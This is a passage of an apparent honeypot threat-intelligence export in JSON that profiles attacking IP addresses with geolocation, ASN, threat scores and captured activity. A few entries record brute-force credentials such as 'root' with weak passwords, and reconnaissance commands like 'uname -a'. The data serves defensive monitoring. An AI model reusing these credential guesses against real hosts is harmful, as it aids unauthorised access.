        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T14:17:19.030000+00:00",
        "last_seen_30d": "2026-05-08T14:40:29.673000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 80,
        "Suricata": 51
      }
    },
    "34.52.190.35": {
      "attack_count": 71,
      "first_seen": "2026-05-12T09:14:26.035Z",
      "last_seen": "2026-05-12T09:15:21.740Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 6366",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 12.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T09:14:26.035000+00:00",
        "last_seen_30d": "2026-05-12T09:16:30.931000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 71,
        "Suricata": 41
      }
    },
    "97.74.232.189": {
      "attack_count": 60,
      "first_seen": "2026-05-12T06:53:34.234Z",
      "last_seen": "2026-05-18T15:25:37.146Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398101,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.6,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 116,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T06:53:34.234000+00:00",
        "last_seen_30d": "2026-05-18T15:26:38.752000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 60,
        "Suricata": 56
      }
    },
    "110.39.231.249": {
      "attack_count": 50,
      "first_seen": "2026-05-02T04:47:58.645Z",
      "last_seen": "2026-05-02T04:53:24.044Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 38264,
      "as_org": "National WiMAXIMS environment",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T04:47:58.645000+00:00",
        "last_seen_30d": "2026-05-02T04:54:32.527000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "185.32.4.148": {
      "attack_count": 50,
      "first_seen": "2026-05-25T02:55:39.691Z",
      "last_seen": "2026-05-25T03:01:46.043Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": null,
      "asn": 60645,
      "as_org": "AS Consulting Sp. z o. o.",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T02:55:39.691000+00:00",
        "last_seen_30d": "2026-05-25T03:02:50.016000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "206.168.201.46": {
      "attack_count": 50,
      "first_seen": "2026-05-13T01:24:28.228Z",
      "last_seen": "2026-05-13T01:29:52.442Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Gujranwala",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 12.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T01:24:28.228000+00:00",
        "last_seen_30d": "2026-05-13T01:30:55.852000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "37.55.198.100": {
      "attack_count": 50,
      "first_seen": "2026-05-31T19:31:42.401Z",
      "last_seen": "2026-05-31T19:37:06.747Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Kyiv",
      "asn": 6849,
      "as_org": "JSC Ukrtelecom",
      "threat_score": 31.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T19:31:42.401000+00:00",
        "last_seen_30d": "2026-05-31T19:38:11.154000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "72.255.32.67": {
      "attack_count": 50,
      "first_seen": "2026-05-28T06:51:16.690Z",
      "last_seen": "2026-05-28T06:56:41.135Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 37.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.1,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 82,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-25T11:43:22+00:00",
        "last_seen_30d": "2026-05-28T06:57:42.275000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 31,
        "Honeytrap": 1
      }
    },
    "45.148.10.152": {
      "attack_count": 44,
      "first_seen": "2026-05-02T01:02:30.316Z",
      "last_seen": "2026-05-30T10:08:59.033Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 48090,
      "as_org": "Techoff Srv Limited",
      "threat_score": 53.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.9,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 77,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T01:02:30.316000+00:00",
        "last_seen_30d": "2026-05-30T10:10:01.919000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 33
      }
    },
    "135.235.16.178": {
      "attack_count": 42,
      "first_seen": "2026-05-02T04:10:20.566Z",
      "last_seen": "2026-05-02T04:25:38.087Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 69,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T04:10:20.566000+00:00",
        "last_seen_30d": "2026-05-02T04:26:42.397000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 42,
        "Suricata": 27
      }
    },
    "175.107.2.183": {
      "attack_count": 36,
      "first_seen": "2026-05-23T11:27:05.794Z",
      "last_seen": "2026-05-23T11:31:03.736Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Taxila",
      "asn": 23888,
      "as_org": "National Telecommunication Corporation HQ",
      "threat_score": 22.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 55,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T11:27:05.794000+00:00",
        "last_seen_30d": "2026-05-23T11:32:05.596000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 19
      }
    },
    "78.111.67.61": {
      "attack_count": 36,
      "first_seen": "2026-05-10T04:12:52.378Z",
      "last_seen": "2026-05-31T14:37:47.692Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 33984,
      "as_org": "Surfplanet GmbH",
      "threat_score": 46.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.2,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T04:12:52.378000+00:00",
        "last_seen_30d": "2026-05-31T14:38:57.891000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 18
      }
    },
    "80.151.14.195": {
      "attack_count": 32,
      "first_seen": "2026-05-09T16:44:42.857Z",
      "last_seen": "2026-05-30T03:16:17.317Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Dortmund",
      "asn": 3320,
      "as_org": "Deutsche Telekom AG",
      "threat_score": 49.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.6,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 114,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T16:06:25.667000+00:00",
        "last_seen_30d": "2026-05-30T03:42:26.460000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 82,
        "Cowrie": 32
      }
    },
    "18.116.101.220": {
      "attack_count": 27,
      "first_seen": "2026-05-06T10:50:53.717Z",
      "last_seen": "2026-05-19T14:18:55.858Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 72.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 19.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 7191,
        "days_active_30d": 23,
        "ports_targeted_30d": 167,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-05-02T02:42:16+00:00",
        "last_seen_30d": "2026-05-24T12:14:49.023000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4444,
        "Honeytrap": 2281,
        "ConPot": 142,
        "Redishoneypot": 88,
        "Mailoney": 85,
        "Dionaea": 71,
        "Cowrie": 27,
        "Ipphoney": 19,
        "Honeyaml": 14,
        "Ciscoasa": 8,
        "Tanner": 7,
        "ElasticPot": 2,
        "H0neytr4p": 2,
        "CitrixHoneypot": 1
      }
    },
    "189.38.22.17": {
      "attack_count": 22,
      "first_seen": "2026-05-03T09:08:48.875Z",
      "last_seen": "2026-05-03T09:25:03.295Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Votorantim",
      "asn": 273436,
      "as_org": "PERES TELECOM PROVEDOR DE INTERNET LTDA",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T09:08:48.875000+00:00",
        "last_seen_30d": "2026-05-03T09:26:21.344000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 13
      }
    },
    "187.116.249.52": {
      "attack_count": 20,
      "first_seen": "2026-05-18T23:58:08.877Z",
      "last_seen": "2026-05-19T05:55:37.429Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Pedro Leopoldo",
      "asn": 26599,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 17.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T23:58:08.877000+00:00",
        "last_seen_30d": "2026-05-19T05:56:46.387000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 10
      }
    },
    "83.48.192.193": {
      "attack_count": 20,
      "first_seen": "2026-05-18T22:17:03.831Z",
      "last_seen": "2026-05-19T05:59:14.673Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Bellvei",
      "asn": 3352,
      "as_org": "Telefonica De Espana S.a.u.",
      "threat_score": 17.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:17:03.831000+00:00",
        "last_seen_30d": "2026-05-19T06:00:18.404000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 10
      }
    },
    "8.217.232.214": {
      "attack_count": 18,
      "first_seen": "2026-05-09T16:18:37.769Z",
      "last_seen": "2026-05-31T15:29:45.558Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "!Q2w3e4r"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 45.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.6,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T16:18:37.769000+00:00",
        "last_seen_30d": "2026-05-31T15:30:55.182000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 11
      }
    },
    "8.222.240.187": {
      "attack_count": 15,
      "first_seen": "2026-05-05T19:35:19.513Z",
      "last_seen": "2026-05-05T20:46:05.793Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "redhat",
        "root"
      ],
      "passwords_attempted": [
        "redhat",
        "test123"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T19:35:19.513000+00:00",
        "last_seen_30d": "2026-05-05T20:47:14.543000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 6
      }
    },
    "187.188.15.19": {
      "attack_count": 14,
      "first_seen": "2026-05-24T23:52:38.753Z",
      "last_seen": "2026-05-25T00:01:32.332Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Iztapalapa",
      "asn": 22884,
      "as_org": "TOTAL PLAY TELECOMUNICACIONES SA DE CV",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T23:52:38.753000+00:00",
        "last_seen_30d": "2026-05-25T00:04:47.343000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 9
      }
    },
    "139.177.206.254": {
      "attack_count": 12,
      "first_seen": "2026-05-08T05:51:12.608Z",
      "last_seen": "2026-05-09T02:34:51.672Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 6.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T05:51:12.608000+00:00",
        "last_seen_30d": "2026-05-09T02:35:58.839000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "152.56.6.249": {
      "attack_count": 12,
      "first_seen": "2026-05-12T04:07:06.081Z",
      "last_seen": "2026-05-12T04:11:20.894Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Aurangabad",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T04:07:06.081000+00:00",
        "last_seen_30d": "2026-05-12T04:21:59.223000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 7
      }
    },
    "8.210.18.141": {
      "attack_count": 12,
      "first_seen": "2026-05-17T08:16:19.778Z",
      "last_seen": "2026-05-18T22:05:31.957Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 14.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T08:16:19.778000+00:00",
        "last_seen_30d": "2026-05-18T22:06:40.244000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "91.208.184.122": {
      "attack_count": 12,
      "first_seen": "2026-05-08T14:33:36.639Z",
      "last_seen": "2026-05-15T11:14:59.776Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Moldova",
      "country_code": "MD",
      "city": null,
      "asn": 200019,
      "as_org": "Alexhost Srl",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T14:33:36.639000+00:00",
        "last_seen_30d": "2026-05-15T11:16:03.399000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "103.13.215.202": {
      "attack_count": 11,
      "first_seen": "2026-05-22T06:49:57.884Z",
      "last_seen": "2026-05-22T06:50:04.375Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "12345678",
        "K7h151AYJN"
      ],
      "commands_executed": [
        "echo 1 > /dev/null && cat /bin/echo"
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.file_download",
        "cowrie.session.params"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": null,
      "asn": 5065,
      "as_org": "Bunny Communications",
      "threat_score": 23.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.0,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-22T06:49:47.454000+00:00",
        "last_seen_30d": "2026-05-22T06:51:51.890000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 11,
        "Suricata": 8,
        "Honeytrap": 1
      }
    },
    "91.96.187.239": {
      "attack_count": 10,
      "first_seen": "2026-05-11T15:42:05.253Z",
      "last_seen": "2026-05-11T15:46:40.348Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Wildeshausen",
      "asn": 9145,
      "as_org": "EWE-Tel GmbH",
      "threat_score": 8.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T15:42:05.253000+00:00",
        "last_seen_30d": "2026-05-11T15:57:23.438000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "198.235.24.140": {
      "attack_count": 8,
      "first_seen": "2026-05-10T10:29:30.958Z",
      "last_seen": "2026-05-20T23:08:18.279Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 54.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.4,
        "persistence": 19.2,
        "diversity": 14,
        "spread": 20,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 23,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-03T18:36:18.996000+00:00",
        "last_seen_30d": "2026-05-25T20:49:09.153000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 22,
        "Cowrie": 8,
        "Honeytrap": 4,
        "Tanner": 1
      }
    },
    "68.183.65.32": {
      "attack_count": 8,
      "first_seen": "2026-05-19T11:22:49.035Z",
      "last_seen": "2026-05-19T11:22:50.905Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
